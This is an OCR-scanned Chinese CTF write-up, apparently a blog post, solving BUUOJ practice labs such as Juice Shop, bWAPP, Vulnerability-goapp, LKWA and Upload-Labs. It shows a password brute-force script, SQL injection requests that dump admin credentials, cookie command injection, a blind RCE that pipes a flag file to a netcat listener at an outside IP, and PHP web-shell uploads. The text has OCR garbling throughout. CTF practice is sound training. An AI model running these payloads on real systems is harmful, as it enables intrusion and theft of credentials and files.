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1.Linux Labs

XA B —TsshT

Session settings

N @ B X ¥ @E @& @ ¥ E =m @ x 28

SSH Telnet Rsh Xdmcp RDP  VNC FTP  SFTP  Serial File Shell Browser Mosh AwsS3 WSL

Basic SSH settings

Remote host * |node3.buuoj.cn Specify username & Port [26135%
Advanced SSH settings B Terminal settings “#: Network settings Bookmark settings

Secure Shell (SSH) session

& 0K € Cancel

& xR Fflag.txt:
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(SSH client, X

session to root@node3.buuoj.cn
SH compression : «
? SS5H-browser I
11-forwarding : (disabled or by server)
ISPLAY 192 1.168:0.0

» For more info, ctrl+click on help or visit our website

Last login: Fri Jun 4 11:50:47 2021 from 39.129.30.3
root@e49adObeaabc:~# find / -name 'flag'

find: ‘/sys/kernel/slab/:A-0000200/cgroup/vm_area_ struct(2805208:c15fd5b79c917bbl07f
~C

root@ed49adObeaabc:~# cat ../flag.txt
flag{f604f74f-30ac-4524-a7b7-b57e54361693}
root@49ad0beaabc :~# [J

https://blog.csdn.net/shuaicengloL

2.Java Sec Code

XEA RLE, BuERLEEkJava Sec CodeiXANTiH .

Zflag:http://057bfb68-fe8f-4ecb-ad38-ad35f029e01b.node3.buuoj.cn/rce/exec?cmd=env
HOSTNAME=]scFLAG=flag{3edc17dd-532c-4852-bbe7-

caa0754f0cb6}PATH=/usr/local/sbin:/usr/local/bin:/usr/sbir
defaults/%L/Dt

ARANE, X T2 SjavalRifk i, XA Sgithubdi B #SERREFK, BATAREIIUR R T Eflaghl %, ELKR
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3.Juice Shop

X RAEE, githubiifi: OWASP Juice Shop is probably the most modern and sophisticated insecure
web application! It can be used in security trainings, awareness demos, CTFs and as a guinea pig for security
tools! Juice Shop encompasses vulnerabilities from the entire OWASP Top Ten along with many other security
flaws found in real-world applications!

it
Bt


http://057bfb68-fe8f-4ecb-ad38-ad35f029e01b.node3.buuoj.cn/rce/exec?cmd=env
https://owasp.org/www-project-top-ten

menu 4§ OWASP Juice Shop se account_circle Account Iaﬁgur

Welcome to OWASP Juice Shop!

A|| Products Being a web application with a vast number of intended security
vulnerabilities, the OWASP Juice Shop is supposed to be the opposite
of a best practice or template application for web developers: It is an
awareness, training, demonstration and exercise tool for security risks in
modern web applications. The OWASP Juice Shop is an open-source
project hosted by the non-profit Open Web Application Security Project
(OWASP) and is developed and maintained by volunteers. Check out the
link below for more information and documentation on the project.

https://owasp-juice.shop
schayoktting started vigibility ¢
< |

This website uses fruit cookies to ensure you get
the juiciest tracking experience. But me wait!

Me want it!

BEEFEREET:

<!--
~ Copyright (c) 2014-2020 Bjoern Kimminich.
~ SPDX-License-Identifier: MIT
-->

<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>OWASP Juice Shop</title>
<meta name="description" content="Probably the most modern and sophisticated insecure web application">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">
<link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookie
<script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script>
window.addEventListener("load", function(){
window.cookieconsent.initialise({
"palette": {
"popup": { "background": "#546e7a", "text": "#ffffff" },
"button": { "background": "#558b2f", "text": "#ffffff" }
Ts
"theme": "classic",
"position": "bottom-right",
"content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking ex
N
</script>
<link rel="stylesheet" href="styles.css"></head>
<body class="mat-app-background bluegrey-lightgreen-theme">
<app-root></app-root>
<script src="runtime-es2018.js" type="module"></script><script src="runtime-es5.7js" nomodule defer></script
</html>
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You successfully solved a challenge: Score Board (Find the carefully hidden *Score Board' page.)

Score Board

0/12 0/22 0/25 0/18 0/11
2 3 4 5 6 Show all ‘!’ Show solved =~ 4 Show tutorials only o Show unavailable 2] £

Broken ntrol iol Broken Authentication Cry| Issues Improper Input Validation Injection Insecure Deserialization Miscellaneous

Security M figuration Security through Obscurity Sensitive Su validated Redirects Vulnerable Components XSS XXE Hide all

Name Difficulty Description Category Tage  This website uses fruit cookies to ensure you get
the juiciest tracking experience. But me wait!
Use the bonus payload <iframe width= height="166" scrolling="no” frar St
Bonus Payload * url=https%3A//api. soundeloud. com/tra 1984076&color=%23f£5500&auto_playXSS
</iframe> in the DOM XS5 challenge. T

Brue ruice si//blog.csdn.net/shuaicenglou3os
-

BT . BREBFENR, WTRIAwebBELZ G NIEFEHED.

% — 3¢ Find the carefully hidden 'Score Board' page.

You successfully solved a challenge: Score Board (Find the carefully hidden 'Score Board' page.)
BSEFR £ W ARG HF & X — R, #H

% — 2% Give a devastating zero-star feedback to the store.
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WH P ZadminfefE, BEEEBEANER:

=)= I R IO R

{link rel="stvleshest” tvpe="textfcss” href=". fassets/index.css">

<I-- Wehsite C35 style —-»
{link rel="stvleshest” type="text/css” href=", fassets/main. css">

<!-- Website Font style ——»
{link rel="stylesheet” href=", fassets/font-awesome. min. css™ >

<!-- Google Fonts ——>»
<link href=", fassets/css” rel="stylesheet” type="text/cas™>
link href=", fassetsfcss(1]” rel="stylesheet” type="text/css">

<I-- 3| A Particleground. js --»
<zcript src=”.fagsets/particlegruund.is”></script>
I VAN i 5 S R

<{script sre=", fassets/particle. is"»</scripty

<{acript sre=", fassets/qreode. js” < scripty

<titlesHSEE A CTRERFE S </ titler

<styler
#bg-particle |
position: fized:
height: 100%;

* like rockyou!
html [areecghosdhesd® meta http-equiv="Content-Type” content="text/html; charset=UTF-3">

<{meta name="viewport” content="width=device-width, initial-scale=1">

width: 100%;

backgrommd-image: url ( https://storage. accounts. extstars. comfassets/img/auth backzroud. jpg’ )
]
body 1

margin: 0



fEkaliffjrockyou'F i3k, Fburpl@fs:
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l.py flag flag.enc key.pem md5.py

B AR .-

.hash pub.key rockyou.txt rsatool.py

https://blog.csdn.net/shuaicengloL

133JK140075 1T, it EBBEG—&7T .
B, burpfit T, BT, &2 LA

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re

import requests

url = "http://17740528-4330-4259-b509-342053f9ce62.node3.buuoj.cn/login.php"
HX = n %{E%—%ﬁ n

dir

open( 'C:\\Users\\root\\Desktop\\rockyou.txt")
line = dir.readline()
i=29
while line:
line = line.strip('\n')
d
[

{'email': 'admin', 'password': line, 'remember_me': 0}
requests.post(url, data=d)

print line.decode('unicode_escape")

if len(r.text) != 51:

print '$HRBIF: '+str(i)+'\n'+r.text.decode('unicode_escape')
break

line = dir.readline()
i+=1

dir.close()

FRE Y #S K flag:



- WA I

I ER) flag 2flac

https://blog.csdn.net/shuaicenglou3

E. XEEARER, BANEN, EERYEREHEERlag.
5.bwAPP

Zflag: http://54808425-f223-4ed1-abcd-1a7e96ebb001.node3.buuoj.cn/phpi.php?message=phpinfo();


http://54808425-f223-4ed1-abcd-1a7e96ebb001.node3.buuoj.cn/phpi.php?message=phpinfo%2528%2529;

|2 QUTEUT COMTpression iy i
\zlib.output compression level -7 -7
\zlib.output handler no value no value

v/ Addtional Modtles //

Module Name
sysvsem
spswshim
// Environment //
Variable Value
APACHE PID FILE var/run/apachez/apachez pid
HOSTNAME b17653bd0d88
APACHE RUN USER A ww-data T —
FLAG 1( flag{2773d732-217a-41a3-bd4c-41f858d265h3} ]
APACHE LOG DIR Vrendaglapache? -/
PATH usr/local/sbinsusr/ocal/binyusr/sbiny/use/bin/sbin/bin
SUPERVISOR GROUP NAME apacheZ
PWD
LANG C
APACHE RUN GROUP wuww-data
FPHP UPLOAD MAX FILESIZE 10M
SUPERVISOR ENABLED 7
SHLVL a
PHP POST MAX SIZE 10M
SUPERVISOR PROCESS NAME apacheZ
DEBIAN FRONTEND noninteractive
SUPERVISOR SERVER URL unpesvarsrunssupervisor.sock
APACHE LOCK DIR var/lock/apache?
APACHE RUN DIR var/run/apaches

6.Vulnerability-goapp
BEASE Y A — AN K



Profile TimeLine Post

DataBase

user Table

Timestamp

Exsample 0 3 2019-11- 2019-11-07
Recode 09:32:48 10:45:32

Exsample

Recode
https://blog.csdn.net/shuaicenglou303 38

Z 3 PR KRB TimeLine T A sqliE A :

POST /timeline/searchpost HTTP/1.1

Host: 889c9le4-adfa-4a8c-92d0-d2c90ec45aee.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 122

Origin: http://889c9le4-adfa-4a8c-92d0-d2c90ec45aee.node3.buuoj.cn

Connection: keep-alive

Referer: http://889c9le4-adfa-4a8c-92d0-d2c90@ec45aee.node3.buuoj.cn/timeline
Cookie: UserName=tom; SessionID=MUAxLmNvbQ==; UserID=4; adminSID=
Upgrade-Insecure-Requests: 1

post=%22+union+select+(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema="v



<head>
<!-- Reguired meta tags -->
<meta charset="utf-58">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-£fi

<!-- Bootstrap €55 -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/
integrity="shaigd-MCwoa/SFnGEEfITIGHwEONgsVTZel TN FoaoApmTmE liuloPEFOJwIEBERdknLPMO™
<1l id="nav":>
<lir<a href="/top">Home</a»</lix»
<li»<a href="/profile"s>Profile</a></li>
<lir<a href="/timeline">Timeline</a»></li>
<lir<a href="/post">Pest</ax</1li>
<lir<a href="/hints">Hints</ar</1li>»
<li»<a href="/db">DB</a></1i>
<lir<a href="/logout">Logout</a»</1i>
<ul>
</ head:>
<div id="headesr title":>
<p class="display-1 text-center">TimeLine</p>
</dive

</ nav>

</ header>

<link rel="stylesheet" href="../assets/css/post.css" type="text/cas">
<body>

=div class="hox">
<div class="boxll">

<div class="boxII">

<hZ>1 2021-06-07 08:44:11</h2>
<br>

</dive

=div class="boxII">

<hl>1s 2021-06-07 08:44:15</h2>
<hr>

<fdive

<div class="boxII">
<h2>admins,adminsessions,pnsts,sessions,user,userdetaiﬂs 1</hZ>
<br>

</dive

</dive
<div class="postform":>
<form action="/timeline"™ method="post">

s | Jn i | Ty | Y | R e Ko LI pp—— | | W | | [ I R R

? < + = Type a search t

REBRTERA, HEEEHEAKSEEENRE LEES:




Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]

POST /timelines/searchpost HTTE/ 1.1 " <ul id="nav">
Host: 88%9cSled4-adfa-4a8c-52d0-dZc80ec45ase. noded . buuoj.cn r <lir<a href="/top">Home</a></1lix>
Uger-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4: xé4; rv:78.0) Gecko/Z010010L Firefox/78.0 <lir<a href="/profile">Profile</a></li>
Aecept: text/html,application/xhtml+xml, application/xml;:q=0.9, image/webp, */*;q=0.8 <lir»<a href="/timelin=">TimeLine</a></1i>
Acecept-Language: zh-CN, zh;q=0.8, zh-TW;=0.7, zh-HE;¢q=0.5,en-US;q=0.3,en; q=0.2 <liz<a href="/post">Pest</a></li>
Accept-Encoding: gzip, deflate <liz<a href="/hints">Hints</a></1li>
Content-Type: application/x-www—form-urlencodesd <lir<a href="/dbh">DB</ax></li>
Content-Length: 121 <lirz<a href="/logout">Logout</a></1i>
COrigin: http://88%cY9led-adfa-4a8c-92d0-dZcB0ec45ase. node3 . buuoj.cn <ul>
Connection: keep-alive </head>
Refere http://B888cY9led-adfa-4aB8c-92d0-d2c90ecd45ase . node3 . buuoj.cn/timeline <div id="header_title">
Cookie: Userllame=tom; SessionlD=WNULxLmllvh(Q==; UserID=4; adwin3ID= <p class="display-1 text-center">TimeLine</p>
Upgrade-Insecure-Requests: L </div>
post=%IZl+union+select+ (SELECT+group_concat (coluwon_name) +from+information schemwa.colwns+where+table_nams </ nav>
=""ad.m.1nsr"] %IZCL%3B </headesr>
<link rel="stylesheet"
href="../assets/css/post.css" type="text/css">
<body>

<div class="box">
<div class="boxll">

<div class="box2IZ">

<hIZ>1 2021-06-07 08:44:11</hl>
<br>

</div>

<div class="boxII">

JAv class="boxII">
Zradminid,mail ,passwd 1</hi>
b >

</fdiv>
<div class="postform">
<form action="/timslin=" method="post">
<textarea nan

="post" rows="10"
uirsd></tercars

1B 3 5 IR 48 (admin@admin.comflamuro@ray.com)

POST /timeline/searchpost HTTP/1.1

Host: 889c9le4-adfa-4a8c-92d0-d2c90ec45aee.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

Origin: http://889c9le4-adfa-4a8c-92d0-d2c90ec45aee.node3.buuoj.cn

Connection: keep-alive

Referer: http://889c9led4-adfa-4a8c-92d0-d2c90ec45aee.node3.buuoj.cn/timeline
Cookie: UserName=tom; SessionID=MUAxLmNvbQ==; UserID=4; adminSID=
Upgrade-Insecure-Requests: 1

post=%22+union+select+(SELECT+group_concat(mail)+from+vulnapp.admins)%2C1%3B



equsan

Raw | Params | Headers | Hex

eepes

Raw | Headers | Hex | HTML | Render

POST /timeline/searchpost HTTP/L1.1

Host: 889cSled-adfa-4afc-92d0-d2colecd5ace . node3 . buuod.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Ving4; x€4; rv:78.0) Gecko/20100101 Firsfox/78.0
Accept: text/html,application/xzhtml+xml,application/xml;g=0.9, image/wshp, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5,en-US; q=0.3,en; g=0.2
Accept-Encoding: gzip, deflate

Content-Typs: application/x-www-form-urlencodsd

Content-Length: 76

Origin: http://B85cSled-adfa—4aBc-92d0-dZec90sc45ase. node3 . buuoj.cn

Connsction: kesp-alive

Referer: http://888c9led-adfa-4aBe-92d0-dIcSDsc4Sase. node3.buuoj.cn/timeline
Cookis: Userlame=tom; SessionID=NUAxLnlivhQ==; UserID=4; adminSID=
Upgrads-Insscure-Requests: L

post=%22+union+select+(SELECT+group_concat (mail) +fromtvulnapp.admins) $2C1%3B

post=%Il+uniont+select+ (SELECT+group concat (passwd) +from+vulnapp.admins) $2C1%3E

B EEEE:

Return Home

Your uid : 4
Welcom admin page, tom

id name mail age created_at updated_at
1 Amuro Ray RX-78-2@EFSF.com 15 2021-06-07 08:37:50 2021-06-07 08:37:50

2 Char Aznable MS-06-S8Zeon.com 20 2021-06-07 08:37:50 2021-06-07 08:37:50

3 Banagher Links RX-0@londo. bel | 16 2021-06-07 08:37:50 2021-06-07 08:37:50

—EHk, BE—TF:

GoilE 5 ZEH It F

. I3

<liz<a href="/top">Home</a></Lli>
<li><a href="/profile">Profile</a></li>
<liz<a href="/timelins=">TimeLine</a></1lix>
<liz<a href="/post">Post</a»</li>
<liz<a href="/hints">Hints</a></1i>
<lix<a href="/db">DB</a></1lix>
<li><a href="/logout">Legout</a></li>
<ul>
</ head>

headsr_titls">
display-1 text-center">TimeLine</p>

</divs

</navs

</header>

<linlk rel="stylesheet” href="../assets/css/post.css” type="text/css'>
<body>

<div class="box">
<div class="boxll">

<dliv class="box22"s

<hZ>1 2021-06-07 08:44:11</h2>
<br>

</div>

<div class="boxIZ">

<hZzls 2021-06-07 08:44:15</h2>
<br>

</div>

<cliv ©lass="hoxI2"s

<hZ>admin@admin.com,amuro@ray.com  1</hI>
<br>
</div>
</ div>
<div class="postform'>
<form action="/timsline” method="postms
<textarsa nawe="post” rows="10" cols="20" wrap="hard" required></textar=a>
</div>
<input type="submit” value="Post” class="button postformTs
i farms

</nav>
</header>

<body>

="box">
Thox 11>

<div clas
<div class

boxI2">
2021-06-07 08:44:11</h2>

<hr>
</div>

<div class
<hZ>ls
<br>

</ div>

hox22">
2021-06-07 08:44:15</hl>

<div class="boxZZ">

<hZ>Qwertyl234 ,RX-78-2
<hrz
</ divs

1</hi>

</div>
<div class="postform">
<form action="/timelins" mechod="post">
= "Lo" cols=

post" rows

<link rel="styleshest" href="../ass=ts/css/post.css" ty

WEap=



https://www.freebuf.com/articles/web/224363.html?replytocom=278230

8 BadminusersiXurl F EEAE = iy 2 AT 1) 3t

7 pkg/admin/admin.gof15247 K B 2¥EN, EWL AT LLE HHUH cookie i) I APt Eein S B A1 HAT « AR I+ —
T

package admin

import (
"database/sql"
"fmt"
"html/template"
"log"
"math/rand"
"net/http"
"os/exec"
"strings"
"time"

"golang.org/x/xerrors"

"github.com/hardw@lf/Vulnerability-goapp/pkg/cookie’

type Lists struct {
uid string
UserName string
UserLists []string

}
func GetRandString() string {
rand.Seed(time.Now().UnixNano())

var letterRunes = []rune("abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")

b := make([]rune, 32)

for i := range b {
b[i] = letterRunes[rand.Intn(len(letterRunes))]
}
return string(b)
}

func StoreAdminSID(adminSessionID string) {
db, err := sql.Open("mysql", "root:rootwolf@tcp(mysql)/vulnapp")
if err != nil {
log.Fatal(err)

}
defer db.Close()

_, err = db.Exec("insert into adminsessions(adminsessionid) values(?)", adminSessionID)

if err != nil {
fmt.Printf("%+v\n", err)
}
}
func GetAdminSid(adminSessionCookie string) (results string, err error) {
commandLine := "mysql -h mysql -u root -prootwolf -e 'select adminsid from vulnapp.adminsessions where adm
res, err := exec.Command("sh", "-c", commandLine).Output()

if err != nil {



fmt.Println(err)
}

results = string(res)

if results != "" {
return results, nil

}

err = xerrors.New("recode was not set")

return , err
}
func ShowAdminLogIn(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
if cookie.CheckSessionID(r) {
t, _ := template.ParseFiles("./views/admin/adminlogin.gtpl")
t.Execute(w, nil)
} else {
http.Redirect(w, r, "/login", 302)
}
} else {
http.NotFound(w, nil)
}
}
func Confirm(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
requestMail := r.FormValue("adminmail")
requestPasswd := r.FormValue("adminpasswd")

fmt.Println(requestMail, ":", requestPasswd)

cmd := "mysql -h mysql -u root -prootwolf -e 'select adminid from vulnapp.admins where mail=\"" + request

fmt.Println(cmd)

res, err := exec.Command("sh", "-c", cmd).Output()

if err != nil {

fmt.Println("err : ", err)

}

if string(res) == "" {

fmt.Println("not")

t, _ := template.ParseFiles("./views/admin/failedauthentication.gtpl")
t.Execute(w, nil)

return

}

fmt.Println(string(res))
fmt.Println("success"

adminSessionID := GetRandString()
fmt.Println(adminSessionID)

adminSID := &http.Cookie{
Name: "adminSID",
Value: adminSessionID,



}
http.SetCookie(w, adminSID)

StoreAdminSID(adminSessionID)

t, _ := template.ParseFiles("./views/admin/successauthentication.gtpl")
t.Execute(w, nil)

} else {
http.NotFound(w, nil)
}
}

func ShowAdminPage(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
adminSID, err := r.Cookie("adminSID")
if err != nil {
fmt.Printf("%+v\n", err)

}
fmt.Println(adminSID.Value)

adminuid, err := GetAdminSid(adminSID.Value)

if err != nil {

fmt.Println("not authentication")

t, _ := template.ParseFiles("./views/admin/failedauthentication.gtpl")
t.Execute(w, nil)

return

}

fmt.Println(adminuid)

uid, err := r.Cookie("UserID")
if err != nil {
fmt.Println(err)

}
fmt.Println(uid)

userName, err := r.Cookie("UserName")
if err != nil {

fmt.Println(err)

}

fmt.Println(userName.Value)

cmd := "mysql -h mysql -u root -prootwolf -e 'select id,name,mail,age,created_at,updated_at from vulnapp.

fmt.Println(cmd)

res, err := exec.Command("sh", "-c", cmd).Output()
if err = nil {

fmt.Println("err : ", err)

}

splitedRes := strings.Split(string(res), "\n")
fmt.Println(splitedRes)

p := Lists{Uid: uid.Value, UserName: userName.Value, UserlLists: splitedRes}

fmt.Println(p)

t. = temnlate.ParseFiles("./views/admin/userlists._gtnl")



-~

t.Execute(w, p)

e e — s m m—t mm—m | v o mmrre— memit me— e = s~ =

} else {
http.NotFound(w, nil)

}
}

H A& GetAdminSid 5 i

func GetAdminSid(adminSessionCookie string) (results string, err error) {

commandLine := "mysql -h mysgql -u root -prootwolf -e 'select adminsid from vulnapp.adminsessions where adm
res, err := exec.Command("sh", "-c", commandLine).Output()

if err != nil {

fmt.Println(err)

}

results = string(res)

if results I= "" {
return results, nil

}

err = xerrors.New("recode was not set")

return

}

, err

& %& adminSessionCookie M 5 B 3 :

Admin.showadminpage Admin.getadminsid

cookie(return.value_0) 12877 |iS =i

B {E & adminsID 12817 Z

Getadminsid(0) 1341T

‘_ i (§ £ commandline 5017

‘ #iTexec.commandiBE 5247

| i s2fT Sa

E—EREF|EANcHFLERN—T (REH[Mbk: 116.85.64.251) .



GET /adminusers HTTP/1.1

Host: 889c9le4-adfa-4a8c-92d0-d2c9@ec45aee.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://889c9le4-adfa-4a8c-92d0-d2c90ec45aee.node3.buuoj.cn/adminconfirm

Cookie: UserName=tom; SessionID=MUAXLmNvbQ==; UserID=4;adminSID=ciXSnSZDcwIhJgmtYPSBSVZEIpclEUPF'|echo env
Upgrade-Insecure-Requests: 1

R JE7E116.85.64.251 LT 12345 1, HIhEFflag. -

root@10-255-1-177:~# 1s

Listening on

Connection from 1
HOSTNAME=goapp SHLVI
7924922c-21fa-48ek

ARAME: KB A5 KL RERgoIE S AL H TS, EfaghLARREEM.
7.LKWA
AANE: BAVKRARZUAE ST, REECKHITERIINE, EfagHPRREK H B,

Lesser Known Web Attack Lab is for intermediate pentester that can test and practice lesser known web attac

20 B 2 B A7 E B -

¢ Blind RCE

e XSSI

¢ PHAR Deserialization

e PHP Object Injection

e PHP Object Injection via Cookies

¢ PHP Object Injection (Object Reference)
e SSRF

e Variables variable

EFRXERHMAELE T, blind RCE, KFA=RMHI!
BRBAELR, HELMEK, —H#F.

Scecho envE Bl Hflag, EFEIRE R T Aflag:
L—ERE R, WIr123450: nc-lvwp 1234
RIE M A#4T: echo “cat /flag’|nc 116.85.25.7 1234|echo

iR 552 AR 4wt 24 H MW 21 7 flag:



root@10-255-1-53:~# 1s

root@l0-255-1-53:~# nc -lvvp 1234

Listening on (family 0, port 1234)

Connection from 1 48022 received!

CONTAINER UID=application USER=application SUPERVISOR GROUP_NAME=php-fpm HOSTNAME=a5839407e26e WEB DOCUMENT RO
NF_HOME=/opt/docker/ APPLICATION GROUP=application APPLICATION USER=application WEB_PHP TIMEOUT=6 LOG_STDERR
xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin APPLICATION GID=1000 LANC UTF-8 SUPE
SOR_SERVER URL=unix:///.supervisor.sock SUPERVISOR PROCESS NAME=php-fpmd WEB_ALIAS DOMAIN=+*.vm LC_ ALL=C.UTF-8

ID=1000 WEB_PHP_SOCKET=127 )00 FLAb:not_flag

root@10-255-1-53:~# nc -

Listening on m11y 0, port 1234)

Connection from 11 54737 received!

flag{15c33d69-6ace-41d6- 6422 -75fdlacf71dc}

root@io 3 ag{ 1! d69-6ace-41d6-a422-75fdlacf71dc}

flag{15 i1 3 h-ad422-75fdlacf71dc}: command not found

root@io- 255 1-53:~3 I it 0g.csdn.net/shuaicenglc

8.Webug 4.0
admin/admin& x 2 J5:
by, 3o ol

payload:

POST /control/upload_file/upload_file_1.php HTTP/1.1

Host: afab4711-bc37-4bc6-boBc5-4878eaa53034.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=------------------~—~—---~-~-~-—- 38371522652734190106744779495
Content-Length: 396

Origin: http://afab4711-bc37-4bc6-b0c5-4878eaa53034.node3.buuoj.cn

Connection: keep-alive

Referer: http://afab4711-bc37-4bc6-b0Oc5-4878eaa53034.node3.buuoj.cn/control/upload_file/upload_file_1.php
Cookie: PHPSESSID=n92qahrtf87daufabjviq65261

Upgrade-Insecure-Requests: 1

----------------------------- 38371522652734190106744779495
Content-Disposition: form-data; name="file"; filename="2.phtml"
Content-Type: image/png

GIF89a>>>><script language='php'>eval($_GET['shell']);</script>
----------------------------- 38371522652734190106744779495
Content-Disposition: form-data; name="submit"

a,an
----------------------------- 38371522652734190106744779495 - -
Zflag
153034.node3.buuoj.cn/template/upload/2.phtmli?shell=phpinfo(); BEE e 1Y E=

EYEWEEM

sysvshm

Fnvirnnmant


http://afab4711-bc37-4bc6-b0c5-4878eaa53034.node3.buuoj.cn/template/upload/2.phtml?shell=phpinfo%2528%2529;

35303

B W RN W EE N NN N

Variable Value
HOSTNAME c4551be93904
SHLVL 1
APACHE RUN_DIR Jvarfrun/apache2

APACHE _PID FILE

fvarfrun/apache2fapache2.pid

Jusr{sbinfapache2ctl

PATH

Jusrflocal/sbin:fusr/l oMusr}bin:}sbin:jbin

APACHE LOCK DIR

N

LANG

C

fvarflockfa pacM
prd

N

APACHE RUN_USER

weongpdSta

AN

APACHE RUN_GROUP

W-dat&

AN

APACHE LOG DIR

/ Jvarflog/apache2

\

PWD

\

[ |
/

FLAG \
PHP Variables
Variable . Value "
_REQUEST["shell"] Sy —
_GET["shell"] phpinfo();

_COOKIE["PHPSESSID’

'l

n92gahrtf87daufabjvigt5261

_SERVER["HTTP_HOST"]

afab4711-bc37-4bet-
b0c5-4878eaa53034.node3 buuoj.cn

_SERVER["HTTP_USER AGENT"]

Mozilla/5.0 (Windows NT 10.0: Win64; x64;
v:78.0) Gecko/20100101 Firefox/78.0

_SERVER["HTTP_ACCEPT"]

text/html,application/yhtml+xml application
fxml:q=0.9,image/webp,*/":q=0.8

.node3.buuoj.cn/template/upload/2.phtml?shell=phpinfo(); BEE e Wy EE
EYEWEEM
sysvshm
Environment
Variable Value
HOSTNAME c4551be93904
SHLVL 1

APACHE RUN DIR

Jvarfrun/apache2

APACHE _PID FILE

fvarfrun/apache2fapache2.pid

Jusr{sbinfapache2ctl

PATH

Jusrflocal/sbin:fusr/l oMusr}bin:}sbin:jbin

APACHE LOCK DIR

N

LANG

fvarflockfa pacM
prd

C

N

APACHE RUN_USER

weongpdSta

AN

APACHE RUN GROUP

W—dat&:

AN

APACHE LOG DIR

/ fvarflog/apache2

\

PWD

\

FLAG

[ s
/

ag{166c3bda-d554-4f44-9998-cead138f00de} \

PHP Variables

Variable .

value "

_REQUEST["shell"]

e
phpinto(f;

_GET["shell"]

phpinfo();




_COOKIE["PHPSESSID"] n92qahrtf87daufabjvigs5261
_SERVER["HTTP_HOST"] afab4711-be37-4bcb-
b0c5-4878eaa53034.node3 buuoj.cn
_SERVER["HTTP_USER AGENT"] Mozilla/3.0 (Windows NT 10.0; WinG4; x64;
nv:78.0) Gecko/20100101 Firefox/78.0
_SERVER["HTTP_ACCEPT"] text/html,application/yhtml+xml application
fxml:q=0.9,image/webp,*/":q=0.8

9.PikaChu

u iERZRSE & pika-pika-

# rce > exec"ping”

v Here, please enter the target |IP address!
ipting v 1:cat /flag ping
- flag{ec33af8b-bch6-4219-9c5b-d156a6eadbal}

10.[Windows]Upload-Labs-Windows
F—R, bAKIED:

POST /Pass-01/index.php HTTP/1.1

Host: 76a7821b-187a-4035-b40e-3a61f273afce.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-----------------—~—~-—---~---- 131545444913111702653512167775
Content-Length: 825

Origin: http://76a7821b-187a-4035-b40e-3a61f273afce.node3.buuoj.cn

Connection: keep-alive

Referer: http://76a7821b-187a-4035-b40e-3a61f273afce.node3.buuoj.cn/Pass-01/index.php
Upgrade-Insecure-Requests: 1

----------------------------- 131545444913111702653512167775
Content-Disposition: form-data; name="upload_file"; filename="3.php"
Content-Type: image/png

<?php
@error_reporting(0);

session_start();

$key="e45e329feb5d925b";

$_SESSION["k"]=$key;
$post=file_get_contents("php://input");
if(!extension_loaded("openssl")){

$t="base64_"."decode";

$post=$t($post."");

for($i=0;%i<strlen($post);$i++) {$post[$i] = $post[$i]~$key[$i+1&15]; }}else{$post=openssl_decrypt($post,
————————————————————————————— 131545444913111702653512167775
Content-Disposition: form-data; name="submit"

----------------------------- 131545444913111702653512167775- -



HEVKIE D

RIS HFI@g_glzin_still w@nts_a_girl_friend.txt

EEEE | sesthiT | S | 2iEE | ANEE | BSshell | HiEEEE | SEUHKE | TO=E | FEDEE | 858 | &

B Ba: | C/

¥ = Cf
[Z5 Boot =8 Fih 2 8dia]
